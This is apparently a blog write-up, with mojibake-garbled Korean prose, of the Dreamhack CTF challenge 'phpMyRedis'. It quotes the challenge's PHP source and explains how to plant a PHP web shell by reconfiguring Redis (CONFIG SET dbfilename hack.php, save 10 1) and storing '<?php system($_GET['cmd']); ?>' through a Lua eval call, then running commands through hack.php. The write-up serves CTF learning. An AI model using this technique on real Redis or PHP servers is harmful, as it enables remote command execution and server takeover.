[2025-07-25] phpMyRedis

๐Ÿฆฅ ๋ณธ๋ฌธ

  • index.php
<?php 
                    if(isset($_POST['cmd'])){
                        $redis = new Redis();
                        $redis->connect($REDIS_HOST);
                        $ret = json_encode($redis->eval($_POST['cmd']));
                        echo '<h1 class="subtitle">Result</h1>';
                        echo "<pre>$ret</pre>";
                        if (!array_key_exists('history_cnt', $_SESSION)) {
                            $_SESSION['history_cnt'] = 0;
                        }
                        $_SESSION['history_'.$_SESSION['history_cnt']] = $_POST['cmd'];
                        $_SESSION['history_cnt'] += 1;

                        if(isset($_POST['save'])){
                            $path = './data/'. md5(session_id());
                            $data = '> ' . $_POST['cmd'] . PHP_EOL . str_repeat('-',50) . PHP_EOL . $ret;
                            file_put_contents($path, $data);
                            echo "saved at : <a target='_blank' href='$path'>$path</a>";
                        }
                    }
                ?>
                
<?php
                        for($i=0; $i<$_SESSION['history_cnt']; $i++){
                            echo "<li>".$_SESSION['history_'.$i]."</li>";
                        }
                    ?>

POST[โ€™cmdโ€™]

  • POST ์š”์ฒญ์— cmd ๊ฐ’์ด ํฌํ•จ๋˜๋ฉด ์‹คํ–‰
  • ๋ ˆ๋””์Šค๋ฅผ ์‹คํ–‰. $POST[โ€™cmdโ€™] ๊ฐ’์„ ์‹คํ–‰ ์‹œ์ผœ์„œ ๋ณด์—ฌ์คŒ
  • ์„ธ์…˜์— history_cnt ๊ฐ’์ด ์—†๋‹ค๋ฉด 0์œผ๋กœ ํ• ๋‹น
  • history_(history_cnt ๊ฐ’) ์œผ๋กœ $POST[โ€™cmdโ€™] ๊ฐ’์„ ์ €์žฅ
    • ์ €์žฅ ํ›„ history_cnt ๊ฐ’ 1 ์ฆ๊ฐ€
    • history_0, history_1โ€ฆ ํ˜•ํƒœ๋กœ ์ €์žฅ

POST[โ€™saveโ€™]

  • POST ์š”์ฒญ์— save ๊ฐ’์ด ํฌํ•จ๋˜๋ฉด ์‹คํ–‰
  • ./data/ ํด๋” ์•„๋ž˜์— ์„ธ์…˜ ID๋ฅผ ํ•ด์‰ฌ ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ํ•ด์‹ฑํ•˜์—ฌ ํŒŒ์ผ๋ช…์œผ๋กœ ํŒŒ์ผ ์ €์žฅ. ์•„๋ž˜์™€ ๊ฐ™์ด ์ €์žฅ

      > $POST[โ€™cmdโ€™] ๊ฐ’
      -------------------------------------
      $POST[โ€™cmdโ€™] ๋ช…๋ น์–ด ์‹คํ–‰ ๊ฒฐ๊ณผ 
    
  • ์ €์žฅ๋œ ํŒŒ์ผ ๋งํฌ ์ถœ๋ ฅ

  • config.php
 <?php 
                    if(isset($_POST['option'])){
                        $redis = new Redis();
                        $redis->connect($REDIS_HOST);
                        if($_POST['option'] == 'GET'){
                            $ret = json_encode($redis->config($_POST['option'], $_POST['key']));
                        }elseif($_POST['option'] == 'SET'){
                            $ret = $redis->config($_POST['option'], $_POST['key'], $_POST['value']);
                        }else{
                            die('error !');
                        }                        
                        echo '<h1 class="subtitle">Result</h1>';
                        echo "<pre>$ret</pre>";
                    }
                ?>

POST[โ€™optionโ€™]

  • POST ์š”์ฒญ์— option ๊ฐ’์ด ํฌํ•จ๋˜๋ฉด ์‹คํ–‰
  • ๋ ˆ๋””์Šค ์‹คํ–‰.
  • ์‚ฌ์šฉ์ž๊ฐ€ ๋ณด๋‚ธ ๊ฐ’์ด GET์ธ ๊ฒฝ์šฐ์— redis.config() ์‹คํ–‰
    • CONFIG GET $_POST['key'] ๊ฐ’ ์‹คํ–‰
    • ์ฆ‰ ์„ค์ • ์ค‘ $_POST['key'] ๊ฐ’์„ ์กฐํšŒ
  • ์‚ฌ์šฉ์ž๊ฐ€ ๋ณด๋‚ธ ๊ฐ’์ด SET์ธ ๊ฒฝ์šฐ
    • CONFIG SET $_POST['key'] ๊ฐ’, $_POST['value'] ๊ฐ’ ์‹คํ–‰
    • ์ฆ‰ ์„ค์ • ์ค‘์— $_POST['key'] ๊ฐ’์„ ํ‚ค๋กœ ๊ฐ€์ง€๊ณ  $_POST['value'] ๊ฐ’์„ value๋กœ ๊ฐ–๋Š” ์ƒˆ๋กœ์šด ์„ค์ • ์ž…๋ ฅ
  • ์œ„์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•œ ๊ฒฐ๊ณผ๊ฐ’์„ ์ถœ๋ ฅ

ํ โ€ฆ ์ฝ”๋“œ ์ดํ•ดํ•˜๋Š” ๋ฐ๋งŒ ํ•œ์ฐธ ๊ฑธ๋ ธ๋‹ค. ์ง€๊ธˆ ์ƒ๊ฐํ•˜๋Š” ํฐ ๋™์ž‘ ํ๋ฆ„์€ ์ด๋Ÿฌํ•˜๋‹ค

  1. config.php์—์„œ CONFIG SET ์„ ํ†ตํ•ด์„œ ํŒŒ์ผ ๊ฒฝ๋กœ์™€ ํŒŒ์ผ๋ช…์„ ์„ค์ •ํ•œ๋‹ค.

     CONFIG SET dir /tmp
     CONFIG SET dbfilename hack.php
    
  2. index.php์—์„œ $POST[โ€™cmdโ€™]์™€ $POST[โ€™saveโ€™]๋ฅผ ํ†ตํ•ด

     SET ํ‚ค ๊ฐ’ "<?php system($_GET['cmd']); ?>" 
     SAVE
    

    ์œ„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ ์‹œํ‚ค๊ณ  ์ €์žฅํ•œ๋‹ค.

  3. ์ €์žฅ๋œ ์œ„์น˜์—์„œ php๋ฅผ ์‹คํ–‰์‹œ์ผœ์„œ ์›น์‰˜์„ ์‹คํ–‰์‹œ์ผœ์„œ ์ทจ์•ฝ์ ์„ ํƒ์ƒ‰ํ•œ๋‹ค.

์„ค์ •ํ•œ ํŒŒ์ผ ๊ฒฝ๋กœ์— ์žˆ๋Š” php ํŒŒ์ผ์„ ์‹คํ–‰์‹œํ‚จ๋‹ค.

๊ทผ๋ฐ 2๋ฒˆ๊ณผ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์ง์ ‘ ์ž…๋ ฅํ•˜๋ฉด false๊ฐ€ ์ถœ๋ ฅ. ์ฆ‰ ์‹คํ–‰ํ•˜๋Š” ๋ฐ ์‹คํŒจํ•œ๋‹ค

โ†’ eval()์˜ ์ธ์ž๋Š” lua ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œํ‚ค๋Š” ์šฉ๋„์ด๋ฏ€๋กœ ๋‹ค๋ฅธ ๋ฐฉ์‹์œผ๋กœ ์ „๋‹ฌ

โ†’ return redis.call("set", "test", "<?php system($_GET['cmd']); ?>");

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ return redis.call(โ€˜SAVEโ€™)๋ฅผ ์ž…๋ ฅํ–ˆ๋Š” ๋ฐ false ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค

โ†’ SAVE๋Š” lua ์Šคํฌ๋ฆฝํŠธ๋กœ ์‹คํ–‰์ด ๋ถˆ๊ฐ€ํ•˜๊ณ  ์ง์ ‘ ํ˜ธ์ถœํ•ด์•ผ ํ•œ๋‹ค($redis->save();)

์„ธ์ด๋ธŒ๋งŒ ์‹œํ‚ค๋ฉด ๋˜๋Š”๋ฐโ€ฆ

md5()๊ฐ€ ์„ธ์…˜ ID๋กœ ํ•ด์‹ฑ์„ ํ•˜๋Š” ๋ฐ ์„ธ์…˜ ID๋ฅผ ์กฐ์ž‘ํ•˜์—ฌ ํŒŒ์ผ๋ช…์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉด ์–ด๋–จ๊นŒ๋ผ๋Š” ๋ฐœ์น™ํ•œ ์ƒ์ƒ์„ ํ•ด๋ดค๋‹ค. ํ•˜์ง€๋งŒ md5()๊ฐ€ ๋‹จ๋ฐฉํ–ฅ ํ•ด์‹ฑ์ด๊ณ  32์ž๋ฆฌ 16์ง„์ˆ˜ ํ•ด์‹ฑ์„ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ชปํ•œ๋‹ค๋Š” gpt์˜ ์˜๊ฒฌ์ด ์žˆ์—ˆ๋‹ค.

์•„โ€ฆ Config Set์—์„œ ์ €์žฅ ์ฃผ๊ธฐ๋ฅผ ์ •ํ•  ์ˆ˜ ์žˆ๋˜ ๊ฒƒ์ด์—ˆ๋‹คโ€ฆโ€ฆ.

ํ’€์ด

  1. config.php์—์„œ CONFIG SET ์„ ํ†ตํ•ด์„œ ํŒŒ์ผ ๊ฒฝ๋กœ์™€ ํŒŒ์ผ๋ช…, ์ €์žฅ ์ฃผ๊ธฐ๋ฅผ ์„ค์ •ํ•œ๋‹ค.

     CONFIG GET dir        // ํ˜„์žฌ ์ €์žฅ ๊ฒฝ๋กœ ์กฐํšŒ
     CONFIG SET dbfilename hack.php
     CONFIG SET save 10 1 // save ๋ช‡ ์ดˆ์•ˆ์— ๋ช‡ ๊ฐœ๊ฐ€ ์ƒ๊ฒจ์•ผ ์ €์žฅ -> 10์ดˆ ๋‚ด 1๊ฐœ 
    
  2. index.php์—์„œ $POST[โ€™cmdโ€™]์™€ $POST[โ€™saveโ€™]๋ฅผ ํ†ตํ•ด

     return redis.call("set", "test", "<?php system($_GET['cmd']); ?>");
    

    ์œ„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ ์‹œํ‚ค๊ณ  ์ €์žฅํ•œ๋‹ค.

  3. ์ €์žฅ๋œ ์œ„์น˜์—์„œ php๋ฅผ ์‹คํ–‰์‹œ์ผœ์„œ ์›น์‰˜์„ ์‹คํ–‰์‹œ์ผœ์„œ ์ทจ์•ฝ์ ์„ ํƒ์ƒ‰ํ•œ๋‹ค.

    • http://host3.dreamhack.games:9158//hack.php?cmd=/flag

Categories:

Updated:

Leave a comment